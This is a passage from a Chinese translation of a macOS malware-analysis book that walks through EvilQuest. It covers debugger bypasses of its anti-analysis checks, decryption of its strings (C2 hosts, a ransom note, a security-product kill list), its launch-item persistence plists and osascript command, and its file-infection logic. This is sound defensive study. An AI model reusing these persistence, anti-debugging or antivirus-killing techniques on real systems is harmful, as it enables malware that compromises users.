为了绕过这个反分析逻辑,我们可以选择修改 EvilQuest 的二进制文件并修补掉这段代码,或者使用调试器来颠覆恶意软件在内存中的执行状态。如果你想修改代码,可以将`cmovnz`指令(`0x0000000100007b7a`处)替换为类似`xor eax, eax`的指令,以将函数的返回值清零。由于该替换指令比`cmovnz`少一个字节,你需要为填充添加一个字节的 NOP 指令。
调试方法更加直接,因为我们只需将`is_debugging`函数的返回值置为零。具体来说,我们可以首先在调用`is_debugging`函数后面的指令(`0x000000010000b89f`)设置一个断点,该指令通过`cmp eax, 0x0`检查返回值。一旦断点被触发,我们可以通过`reg write $rax 0`将`RAX`寄存器设置为 0,从而让恶意软件无法察觉到它正在被调试:
% lldb patch
(lldb) target create "patch"
...
(lldb) b 0x10000b89f
Breakpoint 1: where = patch`patch[00x000000010000b89f], address = 0x000000010000b89f
(lldb) r
Process 1397 stopped
- thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
-> 0x10000b89f: cmpl $0x0, %eax
0x10000b8a2: je 0x10000b8b2
(lldb) reg read $rax
rax = 0x0000000000000001
(lldb) reg write $rax 0
(lldb) c
我们还没有完全完成,因为恶意软件还包含一个名为`prevent_trace`的函数,顾名思义,它试图通过调试器阻止追踪。列表 10-12 展示了该函数的完整注释反汇编。
prevent_trace:
0x0000000100007c20 push rbp
0x0000000100007c21 mov rbp, rsp
0x0000000100007c24 call getpid
0x0000000100007c29 xor ecx, ecx
0x0000000100007c2b mov edx, ecx
0x0000000100007c2d xor ecx, ecx
0x0000000100007c2f mov edi, 0x1f ;PT_DENY_ATTACH
0x0000000100007c34 mov esi, eax ;process id (pid)
0x0000000100007c36 call 1 ptrace
0x0000000100007c3b pop rbp
0x0000000100007c3c ret
列表 10-12:通过`ptrace` API 实现的反调试逻辑
在调用`getpid`函数以检索其进程 ID 之后,恶意软件调用带有`PT_DENY_ATTACH`标志(`0x1f`)的`ptrace` 1。如前一章所述,这种方式会以两种方式阻碍调试。首先,一旦这个调用被执行,任何尝试附加调试器的操作都会失败。其次,如果调试器已经附加,则在调用该函数后,进程会立即终止。
为了颠覆这种逻辑,以便能够调试恶意软件并促进持续分析,我们再次利用调试器避免调用`prevent_trace`。首先,我们在`0x000000010000b8b2`处设置一个断点,这是调用该函数的位置。当断点被触发时,我们修改指令指针(`RIP`)的值,使其指向下一条指令(`0x000000010000b8b7`)。这样可以确保有问题的`ptrace`调用永远不会执行。
进一步分析表明,EvilQuest 的所有反调试功能都来自同一个函数(`ei_persistence_main`)。因此,我们实际上可以在`ei_persistence_main`函数内设置一个断点,然后修改指令指针,使其跳过两个反调试调用。然而,由于`ei_persistence_main`函数被多次调用,我们的断点会被多次触发,每次都需要手动修改`RIP`。更高效的方法是,在这个断点上添加一个命令,指示调试器在断点触发时自动修改`RIP`并继续执行。
首先,让我们在`call is_debugging`指令处设置一个断点(该指令位于`0x000000010000b89a`)。设置断点后,我们通过`br command add`添加断点命令。在此命令中,我们可以指示调试器修改`RIP`,将其设置为紧接着调用第二个反调试函数`prevent_trace`(`0x000000010000b8b7`)的地址,如 Listing 10-13 所示:
% lldb patch
(lldb) b 0x10000b89a
Breakpoint 1: where = patch`patch[0x000000010000b89a], address = 0x000000010000b89a
(lldb) br command add 1
Enter your debugger command(s). Type 'DONE' to end.
reg write $rip 0x10000b8b7
continue
DONE
Listing 10-13:通过断点命令绕过反调试逻辑
由于我们还将`continue`添加到断点命令中,调试器将在指令指针被修改后自动继续执行。一旦添加了断点命令,对`is_debugging`的调用和`prevent_trace`反调试函数的调用将会被自动跳过。随着 EvilQuest 的反分析逻辑被完全破解,我们的分析可以不受阻碍地继续进行。
### 混淆字符串
回到主函数,恶意软件收集了一些基本的用户信息,如`HOME`环境变量的值,然后调用了一个名为`extract_ei`的函数。该函数尝试从其磁盘映像的末尾读取`0x20`字节的“尾部”数据。然而,名为`unpack_trailer`的函数(由`extract_ei`调用)返回 0(即假),因此检查魔法值`0xdeadface`失败:
;rcx: trailer data
0x0000000100004a39 cmp dword ptr [rcx+8], 0xdeadface
0x0000000100004a40 mov [rbp+var_38], rax
0x0000000100004a44 jz notInfected
后续的分析很快会揭示出,`0xdeadface`值被放置在恶意软件感染的其他二进制文件的末尾。换句话说,这就是恶意软件检查它是否通过一个已经(本地)被病毒感染的宿主二进制文件运行。
返回 0 的函数导致恶意软件跳过某些持久化逻辑,这些逻辑似乎将恶意软件作为守护进程持续运行:
;rcx: trailer data
;if no trailer data is found, this logic is skipped!
if (extract_ei(*var_10, &var_40) != 0x0) {
persist_executable_frombundle(var_48, var_40, var_30, *var_10);
install_daemon(var_30, ei_str("0hC|h71FgtPJ32afft3EzOyU3xFA7q0{LBx..."1),
ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD..."), 0x1);
var_50 = ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD1m6d3j0000073");
var_58 = ei_str("20HBC332gdTh2WTNhS2CgFnL2WBs2l26jxCi0000013");
var_60 = ei_str("1PbP8y2Bxfxk0000013");
...
run_daemon_u(var_50, var_58, var_60);
...
run_target(*var_10);
}
看起来,我们关心的各种值,比如守护进程的名称和路径,都是混淆过的 1。由于这些混淆字符串以及代码片段中的其他字符串都传递给`ei_str`函数,因此合理推测,这就是负责字符串解混淆的函数(Listing 10-14):
var_50 = ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD1m6d3j0000073");
var_58 = ei_str("20HBC332gdTh2WTNhS2CgFnL2WBs2l26jxCi0000013");
var_60 = ei_str("1PbP8y2Bxfxk0000013");
Listing 10-14:混淆的字符串,传递给`ei_str`函数
当然,我们应该验证我们的假设。仔细查看 Listing 10-15 中`ei_str`函数的反编译:
int ei_str(char* arg0) {
var_10 = arg0;
if (*_eib_string_key == 0x0) {
1 *eib_string_key = eip_decrypt(_eib_string_fa, 0x6b8b4567);
}
var_18 = 0x0;
rax = strlen();
rax = 2 eib_secure_decode(var_10, rax, *eib_string_key, &var_18);
var_20 = rax;
if (var_20 == 0x0) {
var_8 = var_10;
}
else {
var_8 = var_20;
}
rax = var_8;
return rax;
}
Listing 10-15:`ei_str`函数,反编译后的代码
这揭示了一个名为`eib_string_key`的全局变量的一次性初始化 1,随后调用了一个名为`eib_secure_decode` 2 的函数,之后又调用了一个名为`tpdcrypt`的方法。反编译还揭示了`ei_str`函数接受一个参数(即混淆后的字符串),并返回其解混淆后的值。
正如第九章所指出的,我们实际上不需要关心去模糊化或解密算法的细节。我们可以简单地在`ei_str`函数的结尾设置调试器断点,并打印出存储在`RAX`寄存器中的去模糊化字符串。如下所示,在`ei_str`函数的开始和结束设置断点后,我们能够打印出模糊化字符串(`"1bGvIR16wpmp1uNjl83EMxn43AtszK1T6...HRCIR3TfHDd0000063"`)及其去模糊化后的值,这是恶意软件启动项持久化的模板:
% lldb patch
(lldb) target create "patch"
...
(lldb) b 0x100000c20
Breakpoint 1: where **= patchpatch[0x0000000100000c20], address = 0x0000000100000c20** (lldb) **b 0x100000cb5** Breakpoint 2: where = patchpatch[0x0000000100000cb5], address = 0x0000000100000cb5
(lldb) r
Process 1397 stopped
- thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
-> 0x100000c20: pushq %rbp
0x100000c21: movq %rsp, %rbp
(lldb) x/s $rdi
0x10001151f: "1bGvIR16wpmp1uNjl83EMxn43AtszK1T6...HRCIR3TfHDd0000063"
(lldb) c
Process 1397 stopped
- thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
-> 0x100000cb5: retq
(lldb) x/s $rax
0x1002060d0: "\n\n
这种方法的缺点是,我们只有在恶意软件调用`ei_str`函数并触发调试器断点时才会解密字符串。因此,如果加密字符串仅在未执行的代码块中引用,例如仅在恶意软件从感染文件中执行时才会调用的持久化逻辑,我们将永远看不到其解密后的值。
出于分析的目的,强制恶意软件解密所有这些字符串对我们将非常有用。回顾上一章,我们创建了一个可注入的动态库,能够完成这一操作。具体来说,一旦加载到 EvilQuest 中,它首先解析恶意软件的`ei_str`函数地址,然后对恶意软件中所有模糊化的字符串调用此函数。在上一章中,我们展示了该库输出的一个片段。列表 10-16 展示了其完整内容:
% DYLD_INSERT_LIBRARIES=/tmp/decryptor.dylib patch
decrypted string (0x10eb675ec): andrewka6.pythonanywhere.com
decrypted string (0x10eb67624): ret.txt
decrypted string (0x10eb67a95): id_rsa/i
decrypted string (0x10eb67c15): key.png/i
decrypted string (0x10eb67c35): wallet.png/i
decrypted string (0x10eb6843f): /Library/AppQuest/com.apple.questd
decrypted string (0x10eb68483): /Library/AppQuest
decrypted string (0x10eb684af): %s/Library/AppQuest
decrypted string (0x10eb684db): %s/Library/AppQuest/com.apple.questd
decrypted string (0x10eb6851f):
decrypted string (0x10eb68817): NCUCKOO7614S
decrypted string (0x10eb68837): 167.71.237.219
decrypted string (0x10eb6893f): Little Snitch
decrypted string (0x10eb6895f): Kaspersky
decrypted string (0x10eb6897f): Norton
decrypted string (0x10eb68993): Avast
decrypted string (0x10eb689a7): DrWeb
decrypted string (0x10eb689bb): Mcaffee
decrypted string (0x10eb689db): Bitdefender
decrypted string (0x10eb689fb): Bullguard
decrypted string (0x10eb68b54): YOUR IMPORTANT FILES ARE ENCRYPTED
Many of your documents, photos, videos, images, and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your file without our decryption service.
...
Payment has to be deposited in Bitcoin based on Bitcoin/USD exchange rate at the moment of payment. The address you have to make payment is:
decrypted string (0x10eb6939c): 13roGMpWd7Pb3ZoJyce8eoQpfegQvGHHK7
decrypted string (0x10eb693bf): Your files are encrypted
decrypted string (0x10eb6997e): READ_ME_NOW
...
decrypted string (0x10eb69b6a): .doc
decrypted string (0x10eb69b7e): .txt
decrypted string (0x10eb69efe): .html
列表 10-16:解密所有 EvilQuest 嵌入的字符串
在解密输出中,我们发现了许多揭示性字符串:
+ 服务器地址,可能用于命令与控制,如*andrewka6.pythonanywhere.com*和*167.71.237.219*
+ 正则表达式可能与涉及密钥、证书和钱包的感兴趣文件相关,例如`*id_rsa*/i`、`*key*.pdf/i`、`*wallet*.pdf`等
+ 一个嵌入的属性列表文件,可能用于启动项持久化
+ 安全产品的名称,如 Little Snitch 和 Kaspersky
+ 解密指令和恶意软件针对的报告勒索病毒逻辑的文件扩展名:*.zip*、*.doc*、*.txt*等
这些解密后的字符串为我们提供了更多关于恶意软件各个方面的见解,将有助于我们继续分析。
## 接下来
在这一章中,我们对 EvilQuest 进行了分类,并识别出了其旨在阻碍分析的反分析代码。接着,我们探讨了如何有效绕过这些代码,以便我们的分析能够继续。在下一章,我们将继续研究这一复杂的恶意软件,详细介绍其持久化机制和多种功能。
## 结束注释
# 第十一章:EvilQuest 的持久性和核心功能分析

现在我们已经分析了 EvilQuest 样本,并且成功破解了其反分析逻辑,我们可以继续进行分析。在本章中,我们将详细介绍该恶意软件的持久性方法,确保每次感染的系统重启时它都能自动重启。然后,我们将深入探讨这一隐秘威胁所支持的各种功能。
## 持久性
在第十章中,您看到恶意软件调用了一个可能与持久性相关的函数,名为`ei_persistence_main`。让我们更仔细地看一下这个函数,它位于`0x000000010000b880`。 列表 11-1 是该函数的简化反编译版:
int ei_persistence_main(...) {
if (is_debugging(...) != 0) {
exit(1);
}
prevent_trace();
kill_unwanted(...);
persist_executable(...);
install_daemon(...);
install_daemon(...);
ei_selfretain_main(...);
...
}
列表 11-1:`ei_persistence_main`,反编译版
如您所见,在保持持久性之前,恶意软件调用了`is_debugging`和`prevent_trace`函数,这些函数旨在防止通过调试器进行动态分析。我们在上一章中讨论了如何破解这些函数。由于这些函数容易绕过,因此它们并不会对我们的后续分析构成任何实际障碍。
接下来,恶意软件调用多个函数,杀死与杀毒软件或分析软件相关的进程,然后作为启动代理和启动守护进程保持持久性。让我们深入了解这些函数的机制。
### 杀死不需要的进程
在反调试逻辑之后,恶意软件调用了一个名为`kill_unwanted`的函数。该函数首先通过调用恶意软件的一个辅助函数`get_process_list`(`0x0000000100007c40`)列举所有正在运行的进程。如果我们反编译这个函数,就可以确定它使用了苹果的`sysctl` API 来检索正在运行的进程列表(列表 11-2):
1 0x00000001000104d0 dd 0x00000001, 0x0000000e, 0x00000000
get_process_list(void* processList, int* count)
{
2 sysctl(0x1000104d0, 0x3, 0x0, &size, 0x0, 0x0);
void* buffer = malloc(size);
3 sysctl(0x1000104d0, 0x3, &buffer, &size, 0x0, 0x0);
列表 11-2:通过`sysctl` API 列举进程
请注意,在`0x00000001000104d0` 1 处发现了一个包含三项的数组。当这个数组传递给`sysctl` API 时,这为我们提供了上下文,能够将常量映射到`CTL_KERN`(`0x1`)、`KERN_PROC`(`0xe`)和`KERN_PROC_ALL`(`0x0`)。还要注意,当第一次调用`sysctl` API 2 时,`size`变量将被初始化为存储所有进程列表的空间(因为缓冲区参数为`0x0`,即 null)。代码为这个列表分配了一个缓冲区,然后再次调用`sysctl` 3,并传递这个新分配的缓冲区来获取所有进程的列表。
一旦 EvilQuest 获得了正在运行的进程列表,它会遍历这个列表,将每个进程与硬编码在恶意软件中的加密程序列表进行比较,并存储在名为`EI_UNWANTED`的全局变量中。借助我们可注入的解密器库,我们可以恢复解密后的程序列表,如列表 11-3 所示:
% DYLD_INSERT_LIBRARIES/tmp/deobfuscator.dylib patch
...
decrypted string (0x10eb6893f): Little Snitch
decrypted string (0x10eb6895f): Kaspersky
decrypted string (0x10eb6897f): Norton
decrypted string (0x10eb68993): Avast
decrypted string (0x10eb689a7): DrWeb
decrypted string (0x10eb689bb): Mcaffee
decrypted string (0x10eb689db): Bitdefender
decrypted string (0x10eb689fb): Bullguard
列表 11-3:EvilQuest 的“不需要的”程序
如你所见,这是一份常见的安全和杀毒软件的列表(尽管其中有些,比如“Mcaffee”,拼写错误),这些软件可能会抑制或检测恶意软件的行为。
如果 EvilQuest 找到一个与`EI_UNWANTED`列表中的项匹配的进程,它会终止该进程并移除其可执行位(列表 11-4)。
0x00000001000082fb mov rdi, qword [rbp+currentProcess]
0x00000001000082ff mov rsi, rax ;each item from EI_UNWANTED
0x0000000100008302 call strstr
0x0000000100008307 cmp rax, 0x0
0x000000010000830b je noMatch
0x0000000100008311 mov edi, dword [rbp+currentProcessPID]
0x0000000100008314 mov esi, 0x9
1 0x0000000100008319 call kill
0x000000010000832e mov rdi, qword [rbp+currentProcess]
0x0000000100008332 mov esi, 0x29a
2 0x0000000100008337 call chmod
列表 11-4:被终止的进程
如果正在运行的进程匹配不需要的项,恶意软件首先会调用`kill`系统调用,发送`SIGKILL`(`0x9`)信号。然后,为了防止未来不需要的进程被执行,它会使用`chmod`手动移除该进程的可执行位。传递给`chmod`的值`0x29a`(十进制为`666`)指示它移除所有者、组和其他权限的可执行位。
我们可以在调试器中观察到这一过程,通过启动恶意软件(回想一下,它已被复制到*/Library/mixednkey/toolroomd*)并在调用`kill`时设置断点,`kill`在反汇编中位于`0x100008319`。如果我们随后创建一个与不想要的列表中的任何项匹配的进程,如“Kaspersky”,断点将会被触发,如列表 11-5 所示:
lldb /Library/mixednkey/toolroomd
...
(lldb) b 0x100008319
Breakpoint 1: where = toolroomd`toolroomd[0x0000000100008319], address = 0x0000000100008319
(lldb) r
...
Process 1397 stopped
- thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
-> 0x100008319: callq 0x10000ff2a ;kill
0x10000831e: cmpl $0x0, %eax
(lldb) reg read $rdi
rdi = 0x00000000000005b1 1
(lldb) reg read $rsi
rsi = 0x0000000000000009 2
列表 11-5:在调试器中观察到的被终止的进程
转储传递给`kill`的参数显示,EvilQuest 确实向我们的测试进程“Kaspersky”(进程 ID:`0x5B1`)发送了`SIGKILL`(`0x9`)信号。
### 复制自身
一旦恶意软件终止了它认为不需要的程序,它会调用名为`persist_executable`的函数,将自身复制到用户的*Library/*目录下,路径为*AppQuest/com.apple.questd*。我们可以通过使用 FileMonitor 被动地观察到这一过程(列表 11-6 所示):
FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter toolroomd
{
"event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
"file" : {
"destination" : "/Users/user/Library/AppQuest/com.apple.questd",
"process" : {
...
"pid" : 1505
"name" : "toolroomd",
"path" : "/Library/mixednkey/toolroomd",
}
}
}
列表 11-6:在 FileMonitor 中看到的恶意软件复制操作的开始
如果恶意软件以 root 身份运行(因为安装程序请求了提升权限,这很可能发生),它还会将自身复制到*/Library/AppQuest/com.apple.questd。对这两个文件进行哈希验证确认它们确实是恶意软件的精确副本(列表 11-7 所示):*
*```
% **shasum /Library/mixednkey/toolroomd**
efbb681a61967e6f5a811f8649ec26efe16f50ae
% **shasum /Library/AppQuest/com.apple.questd**
efbb681a61967e6f5a811f8649ec26efe16f50ae
% **shasum ~/Library/AppQuest/com.apple.questd**
efbb681a61967e6f5a811f8649ec26efe16f50ae
列表 11-7:哈希值确认副本是相同的
将副本持久化为启动项
一旦恶意软件复制完成,它会将这些副本作为启动项持久化。负责这一逻辑的函数名为install_daemon(位于0x0000000100009130),并且它会被调用两次:第一次创建启动代理,第二次创建启动守护进程。后者需要 root 权限。
为了观察这一过程,让我们转储第一次调用install_daemon时传递的参数,如列表 11-8 所示:
# lldb /Library/mixednkey/toolroomd
...
(lldb) **b 0x0000000100009130**
Breakpoint 1: where = toolroomd`toolroomd[0x0000000100009130], address = 0x0000000100009130
(lldb) **c**
Process 1397 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
-> 0x100009130: pushq %rbp
0x100009131: movq %rsp, %rbp
(lldb) **x/s $rdi**
0x7ffeefbffc94: "/Users/user"
(lldb) **x/s $rsi**
0x100114a20: "%s/Library/AppQuest/com.apple.questd"
(lldb) **x/s $rdx**
0x100114740: "%s/Library/LaunchAgents/"
列表 11-8:传递给install_daemon函数的参数
使用这些参数,函数构建了恶意软件持久二进制文件(com.apple.questd)的完整路径,以及用户的启动代理目录路径。然后,它会向后者附加一个解密为com.apple.questd.plist的字符串。正如你即将看到的,这个文件用于保持恶意软件的持久性。
接下来,如果我们继续调试会话,我们将看到一个调用恶意软件字符串解密函数ei_str的过程。该函数返回后,我们在RAX寄存器中找到了一个解密后的启动项属性列表模板(见清单 11-9):
# lldb /Library/mixednkey/toolroomd
...
(lldb) **x/i $rip**
-> 0x1000091bd: e8 5e 7a ff ff callq 0x100000c20 ;ei_str
(lldb) **ni**
(lldb) **x/s $rax**
0x100119540: "<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n<dict>\n<key>Label</key>\n<string>%s</string>\n\n<key>ProgramArguments</key>\n<array>\n<string>%s</string>\n<string>--silent</string>\n</array>\n\n<key>RunAtLoad</key>\n<true/>\n\n<key>KeepAlive</key>\n<true/>\n\n</dict>\n</plist>"
清单 11-9:一个(已解密的)启动项属性列表模板
在恶意软件解密了 plist 模板后,它将其配置为名称“questd”并填入其最近副本的完整路径,/Users/user/Library/AppQuest/com.apple.questd。配置完成后,恶意软件使用刚才创建的启动代理路径写出 plist 文件,如清单 11-10 所示:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>questd</string>
<key>ProgramArguments</key>
<array>
<string>/Users/user/Library/AppQuest/com.apple.questd</string>
<string>--silent</string>
</array>
1 <key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
清单 11-10:恶意软件的启动代理 plist(~**/Library/LaunchAgents/com.apple.questd.plist)
由于RunAtLoad键在 plist 中设置为true 1,操作系统将在用户每次登录时自动重新启动指定的二进制文件。
第二次调用install_daemon函数时,函数执行了类似的过程。不过这次,它在/Library/LaunchDaemons/com.apple.questd.plist创建了一个启动守护进程,而不是启动代理,并引用了在Library/目录下创建的第二个恶意软件副本(见清单 11-11):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>questd</string>
<key>ProgramArguments</key>
<array>
1 <string>sudo</string>
<string>/Library/AppQuest/com.apple.questd</string>
<string>--silent</string>
</array>
2 <key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
清单 11-11:恶意软件的启动守护进程 plist(/Library/LaunchDaemons/com.apple.questd.plist)
再次,RunAtLoad键被设置为true 2,因此系统每次重启时都会自动启动守护进程的二进制文件。(请注意,由于启动守护进程始终以 root 权限运行,sudo的加入是多余的 1。)这意味着在重启后,恶意软件将以两种方式运行:一种是作为启动守护进程,另一种是作为启动代理(见清单 11-12):
% **ps aux | grep -i com.apple.questd**
root 97 sudo /Library/AppQuest/com.apple.questd --silent
user 541 /Users/user/Library/AppQuest/com.apple.questd –silent
清单 11-12:恶意软件,作为启动守护进程和代理同时运行
启动启动项
一旦恶意软件确保了其持久性已建立两次,它会调用ei_selfretain_main函数来启动启动项。在检查该函数的反汇编代码时,我们注意到有两次调用名为run_daemon的函数(见清单 11-13):
ei_selfretain_main:
0x000000010000b710 push rbp
0x000000010000b711 mov rbp, rsp
...
0x000000010000b7a6 call run_daemon
...
0x000000010000b7c8 call run_daemon
清单 11-13:run_daemon函数被调用两次
进一步分析显示,这个函数接受一个路径组件和启动项的名称来启动。例如,第一次调用(位于0x000000010000b7a6)是针对启动代理的。我们可以通过在调试器中打印出前两个参数(分别位于RDI和RSI寄存器)来确认这一点,具体见清单 11-14:
# lldb /Library/mixednkey/toolroomd
...
Process 1397 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
-> 0x10000b7a6: callq run_daemon
(lldb) **x/s $rdi**
0x100212f90: "%s/Library/LaunchAgents/"
(lldb) **x/s $rsi**
0x100217b40: "com.apple.questd.plist"
清单 11-14:传递给run_daemon函数的参数
下次调用run_daemon函数时(在0x000000010000b7c8),它会带着路径组件和启动守护进程的名称一起被调用。
检查run_daemon函数,我们看到它首先调用了一个名为construct_plist_path的辅助函数,传入了两个与路径相关的参数(由run_daemon传入)。顾名思义,construct_plist_path函数的目标是构建一个指向指定启动项的 plist 的完整路径。Listing 11-15 是它反汇编的一部分:
construct_plist_path:
0x0000000100002900 push rbp
0x0000000100002901 mov rbp, rsp
...
0x0000000100002951 lea rax, qword [aSs_10001095a] ; "%s/%s"
0x0000000100002958 mov qword [rbp+format], rax
...
0x00000001000029a9 xor esi, esi
0x00000001000029ab mov rdx, 0xffffffffffffffff
0x00000001000029b6 mov rdi, qword [rbp+path]
0x00000001000029ba mov rcx, qword [rbp+format]
0x00000001000029be mov r8, qword [rbp+arg_1]
0x00000001000029c2 mov r9, qword [rbp+arg_2]
1 0x00000001000029c8 call sprintf_chk
Listing 11-15: 构建启动项属性列表的路径
该函数的核心逻辑就是通过sprintf_chk函数将两个参数拼接在一起 1。
一旦construct_plist_path返回已构建的路径,run_daemon函数会解密一个长字符串,这个字符串是加载命令的模板,然后通过AppleScript启动指定的进程:
osascript -e "do shell script \"launchctl load -w %s;launchctl start %s\"
with administrator privileges"
这个模板命令接着会被填充上由construct_plist_path返回的启动项路径,以及启动项的名称“questd”。完整的命令会被传递给system API 执行。我们可以通过进程监视器观察到这一点(Listing 11-16):
**# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty**
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
...
"id" : 0,
"arguments" : [
1 "osascript",
"-e",
2 "do shell script \"launchctl load -w
/Library/LaunchDaemons/com.apple.questd.plist
launchctl start questd\" with administrator privileges"
],
"pid" : 1579,
"name" : "osascript",
"path" : "/usr/bin/osascript"
}
}
Listing 11-16: 观察AppleScript启动启动项
如你所见,run_daemon函数的调用执行了osascript1,并携带了启动命令、路径和启动项的名称 2。你可能已经注意到,恶意软件在加载启动项时的代码中存在一个细微的 bug。回想一下,为了构建要启动的启动项的完整路径,construct_plist_path函数会将提供的两个路径组件拼接在一起。对于启动代理而言,这个路径包含一个%s,这个%s应该在运行时用当前用户的名称填充。但这一过程从未发生。因此,拼接生成了一个无效的 plist 路径,手动加载启动代理失败。由于启动守护进程的路径组件是绝对路径,因此无需任何替换,守护进程成功启动。MacOS 在重启时会枚举所有已安装的启动项 plist,因此它会找到并加载启动守护进程和启动代理。
Repersistence 逻辑
恶意软件常常会保持持久性,但 EvilQuest 通过一种自我保持机制进一步增强了这一点。如果它的任何持久性组件被删除,它会重新保持自身。这种自我防御机制可能会挫败那些试图清除 EvilQuest 根植系统的用户或杀毒工具。我们第一次遇到这个保持持久性逻辑是在第十章,当时我们注意到patch二进制文件没有包含任何“尾部”数据,因此跳过了与保持持久性相关的代码块。现在,让我们看看恶意软件是如何实现这种自我防御的保持持久性逻辑的。
你可以在恶意软件的主函数中找到这段逻辑的起始位置,地址为 0x000000010000c24d,在那里创建了一个新线程。该线程的起始例程是一个名为 ei_pers_thread(“持久化线程”)的函数,位于 0x0000000100009650。分析该函数的反汇编代码会发现,它创建了一个文件路径数组,并将这些路径传递给一个名为 set_important_files 的函数。我们可以在 set_important_files 函数的起始处设置一个断点,以便查看这个文件路径数组(列表 11-17):
# lldb /Library/mixednkey/toolroomd
...
(lldb)**b 0x000000010000d520**
Breakpoint 1: where = toolroomd`toolroomd[0x000000010000D520], address = 0x000000010000D520
(lldb) **c**
...
Process 1397 stopped
* thread #2, stop reason = breakpoint 1.1
-> 0x10000d520: 55 pushq %rbp
0x10000d521: 48 89 e5 movq %rsp, %rbp
(lldb) **p ((char**)$rdi)[0]**
0x0000000100305e60 "/Library/AppQuest/com.apple.questd"
(lldb) **p ((char**)$rdi)[1]**
0x0000000100305e30 "/Users/user/Library/AppQuest/com.apple.questd"
(lldb) **p ((char**)$rdi)[2]**
0x0000000100305ee0 "/Library/LaunchDaemons/com.apple.questd.plist"
(lldb) **p ((char**)$rdi)[3]**
0x0000000100305f30 "/Users/user/Library/LaunchAgents/com.apple.questd.plist"
列表 11-17: “重要”文件
如你所见,这些文件路径看起来像是恶意软件的持久化启动项及其对应的二进制文件。那么 set_important_files 函数是如何处理这些文件的呢?首先,它通过 kqueue 打开一个内核队列,并将这些文件添加到队列中,以指示系统监视它们。Apple 关于内核队列的文档指出,程序应调用 kevent 函数并在循环中等待,以监控诸如文件系统通知之类的事件。^(1) EvilQuest 遵循了这一建议,确实在循环中调用了 kevent。现在,如果被监视的文件发生修改或删除等事件,系统将发出通知。通常代码会对这种事件做出反应,但在这个版本的恶意软件中,kqueue 逻辑是不完整的:恶意软件没有包含对这些事件的实际响应逻辑。
尽管有此遗漏,EvilQuest 仍然会根据需要持久化其组件,因为它多次调用了最初的持久化函数。我们可以手动删除恶意软件的一个持久化组件,并使用文件监视器观察恶意软件恢复该文件(列表 11-18):
# rm /Library/LaunchDaemons/com.apple.questd.plist
# ls /Library/LaunchDaemons/com.apple.questd.plist
ls: /Library/LaunchDaemons/com.apple.questd.plist: No such file or directory
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter com.apple.questd.plist
{
"event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
"file" : {
"destination" : "/Library/LaunchDaemons/com.apple.questd.plist",
"process" : {
"path" : "/Library/mixednkey/toolroomd",
"name" : "toolroomd",
"pid" : 1369
}
}
}
# ls /Library/LaunchDaemons/com.apple.questd.plist
**/Library/LaunchDaemons/com.apple.questd.plist**
列表 11-18: 观察持久化逻辑
一旦恶意软件成功持久化并在必要时生成了一个线程以进行再次持久化,它便开始执行其核心功能。这些功能包括病毒感染、文件外泄、远程任务和勒索软件。让我们现在来看看这些功能。
本地病毒感染逻辑
在 Peter Szor 的经典著作《计算机病毒研究与防御艺术》中,我们找到了一个简明的计算机病毒定义,出处是 Dr. Frederick Cohen:
病毒是一个能够通过修改其他程序,将自己可能演化后的副本植入其中,从而感染其他程序的程序。^(2)
真正的病毒在 macOS 上非常罕见。大多数针对该操作系统的恶意软件是自包含的,并且一旦入侵系统后不会在本地复制。EvilQuest 是一个例外。在这一节中,我们将探讨它如何能够通过病毒式传播到其他程序,使得清除它的尝试变成一项相当复杂的工作。
列表 感染候选文件
EvilQuest 开始其病毒感染逻辑时调用了一个名为 ei_loader_main 的函数。列表 11-19 显示了该函数的相关代码片段:
int _ei_loader_main(...) {
...
*(args + 0x8) = 1 ei_str("26aC391KprmW0000013");
pthread_create(&threadID, 0x0, 2 ei_loader_thread, args);
列表 11-19: 创建后台线程
首先,ei_loader_main函数解密一个字符串。使用第十章讨论的解密技术,我们可以恢复它的明文值"/Users"。然后,函数创建一个后台线程,启动例程设置为ei_loader_thread函数。解密后的字符串作为参数传递给这个新线程。
现在让我们来看看ei_loader_thread函数,注释后的反汇编代码显示在清单 11-20 中:
int ei_loader_thread(void* arg0) {
...
result = get_targets(*(arg0 + 0x8), &targets, &count, is_executable);
if (result == 0x0) {
for (i = 0x0; i < count; i++) {
if (append_ei(arg0, targets[i]) == 0x0) {
infectedFiles++;
}
}
}
return infectedFiles;
}
清单 11-20:ei_loader_thread函数
首先,它调用一个名为get_targets的辅助函数,解密后的字符串作为参数传递给线程函数,包含各种输出变量和一个名为is_executable的回调函数。
如果我们检查get_targets函数(位于0x000000010000e0d0),我们会看到,对于给定的根目录(比如*/Users*),get_targets函数调用opendir和readdir API 递归生成文件列表。然后,对于每个遇到的文件,都会调用回调函数(如is_executable)。这允许通过某些约束过滤枚举的文件列表。
检查是否感染每个文件
